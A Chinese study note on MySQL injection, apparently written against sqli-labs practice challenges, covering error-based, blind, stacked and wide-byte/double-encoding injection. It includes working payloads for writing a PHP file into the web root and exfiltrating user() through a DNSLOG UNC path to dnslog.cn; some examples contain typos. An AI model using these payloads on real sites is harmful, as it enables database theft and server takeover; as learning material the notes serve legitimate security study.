一个很久之前学习mysql注入的笔记
(1)增删改查语句 Insert : insert into mrkaixin values( ‘ 1’ , ‘ nepnep’);
Delete : delete from mrkaixin where xXXX;
Update : update mrkaixin set name = ‘x’ where id = 3;
Select : select * from mrkaixin:
(2)Mysql的常用的变量(函数)
Database() /查看当前数据库名
2.User() 1/用户
3.Version() / mysql 版本
4.@@basedir /安装路径
(3)Mysql的常用的符号逻辑运算符:
1.& and
2.ll or
3.xor
Mysql的常用的函数
字符串截取函数
·Substr(截取的原字符串:database(),截取的开始位置:1,截取长度:1)
Substring
·Mid(database(),1,1)
·Left(database(),1)
·right(database(),1)
编码函数
Ascii()
Hex()z
ord()
Char()/ascii()的逆函数
文件函数
Load_file()/读取文件内容
连接数据库:D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -h127.0.0.1 -p8090 -u root -p123456
查询mysql版本
查询当前用户名
查询所有库名
使用数据库
查询当前库名
查询数据库所有表名
查询表中所有内容
查询表中指定内容
创建库
创建表(同时要声明表的内容字段)
在表中新增(插入数据内容)
修改表里的数据内容
查询表里的数据结构和字段的类型
describe(select * from animal);
删除数据
常见注释符:
%23(#),–+,;%00
报错注入
Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容)
updatexml更新xml文档
正规的使用:Select from users where id =1 and updatexml(文档,正确的路径 ,更新的内容)
示例:Select from users where id =1 and updatexml(0x0a,(select database()),’1’)
原理:将报错的内容改为要输出的内容
注:0x0a表示换行,0x7e表示~
Extractvalue:对xml文档进行查询
语法:extractvalue(文档类型,xpath路径)
时间盲注
法一:sleep()———————————————————————————
示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0)
Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3
原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断
例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名
法二:-benchmark()————————————————————————–
示例:Select benchmark(1000000000,sha(1));
原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果
法三:笛卡尔积———————————————————————————
布尔盲注
示例:Select * from users and (ascaii(substr(database())<1,1,1))
作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样
堆叠注入
示例1(在mysql里面):select from users and select from animal;
结果:只返回一个结果
示例2(在mysql里面):select from users;select from animal;
结果:返回两个结果
可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关
不能使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第三十八关
区别:mysqli_query和mysqli_mutil_query
文件读写
Tips:默认情况下mysql是不允许文件读写的,要修改配置文件
打开phpstudy的设置板块,选择配置文件,点击进入
在配置文件[mysqld]里面加入:secure-file-priv=Null(或去掉NULL直接留空) 重启mysql导入配置
读取文件操作(mysql里面):load_file(‘文件路径’)
示例:load_file(“D:\temp\1.txt”)
写文件操作(mysqlsql里面):
Into outfile ‘绝对路径’
Into dumpfile ‘绝对路径’
区别:into outfile函数会在末端写入新行而且会转义字符,所以用into outfile写一些dll或其他二进制文件,那么这个文件可能会被破坏
可以用into dumpfile导出一个完整能执行的二进制文件
使用条件:1.设置好了配置文件secure-file-priv=Null
使用绝对路径 文件不存在 有权限
示例:…../?id=1’ union select 1,database(),3 into outfile(或者dumpfile) “D:\1.txt”#
效果:得到的内容会写入输出到新建的D:\1.txt文件里面
写shell
如果知道web服务器路径,我们可以写入shell
示例:/?id=-1′ union select 1,’<?php phpinfo(); ?>’,3 into OUTFILE "H.1phpstudy.prolWWW\cms\Sali.Edited..Version\sqlilabs\Less-7\lshell.php"–+
效果:将php信息全部写入到指定的文件里
23.DNSLOG
UNC路径—————————————————————————————-
格式:\servername\sharename
Servename为服务器名,sharename为共享资源名称
UNC路径使用方法测试————————————————————————
在Win+R窗口输入一个UNC路径(一个文件名):\要传输的内容.DNSLOG获得的域名\abc
或者:在CMD窗口输入:ping \要传输的内容.DNSLOG获得的域名\abc’
然后在DNSLOG平台刷新获取记录就可以看到:传输的内容.DNSLOG获得的域名
原理:根据此原理,用load_file ’构造好的文件名’尝试打开一个指定构造的UNC文件即可在DNSLOG平台看到传输的内容
第一步:打开DNSLOG平台获得一个域名
第二步:用load_file ’文件路径’读取一个文件名为:\要传输的内容.DNSLOG获得的域名\abc的文件
操作示例:select * from users load_file ‘\test.DNSLOG获得的域名\abc’
示例:http:/localhost/Less-38/?id=-1; select 1,2,LOAD_FILE(GROUP_CONCAT(‘\\’,substr(user(),2,1),’7jto34.dnslog.cn\abc’);-+
解释:GROUP_CONCAT(‘\\’,substr(user(),2,1),’.7jto34.dnslog.cn\abc’))的作用是合成一个字符串’\o.7jto34.dnslog.cn\abc’
原因:’\\’表示两个解除转义的’\’,其中user()为root,substr(要截取的字符 串:root,开始位置:2,截取长度:1)函数运行后截取root的第2个字符’o’,’ 7jto34.dnslog.cn’为DNSLOG平台获得的域名
宽字节注入
条件:sql注入解析使用的是gbk编码,utf-8不行
代码分析:
addslashes函数将会在一些危险字符(包括’和#)面前加入一个反斜杠\
传入sql注入语句为gbk参数可用宽字节注入
难点:
要闭合单引号,但是传入的单引号会被加一个\从而变成一个字符失去闭合效果
Payload:?id=%df%27
payload分析:%27为单引号所以addslashes函数会在%27前面加一个\得%df\%27
\的url编码为%5c编码后得到%df%5c%27
%df%5c解码后会得到一个繁体字的运 ,从而%27单引号逃逸出来,变成运’
二次编码注入
前提知识:
mysql_real_escape_string(string, connection)函数会在[\x00],[\n],[\r],[],[’],[”],[\x1a]这七个字符出现的前面加一个反斜杠\
绕过Tips注:想要绕过这个函数,在linux下的mysql表明列名是忽略大小写的但是账号密码区分大小写,当为登录类型的注入是,password和username都是列名,可以忽略大小写,利用这点绕过mysql_real_escape_string函数;或者当存在二次编码时可利用像例题一样的方式绕过
2.urldecode()函数会将参数进行url解码
Payload中%2527不在escape函数排查的字符里面,而%25解码后得到的就是%所以%2527变成%27,是一个单引号’
SQL注入总结的平台 无列名注入(知道库名表名即可)
错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select from test.animal)x);
正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select from test.animal)x);
正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x); 贴一张来自https://blog.csdn.net/Fly_hps/article/details/80646151 的注入导图: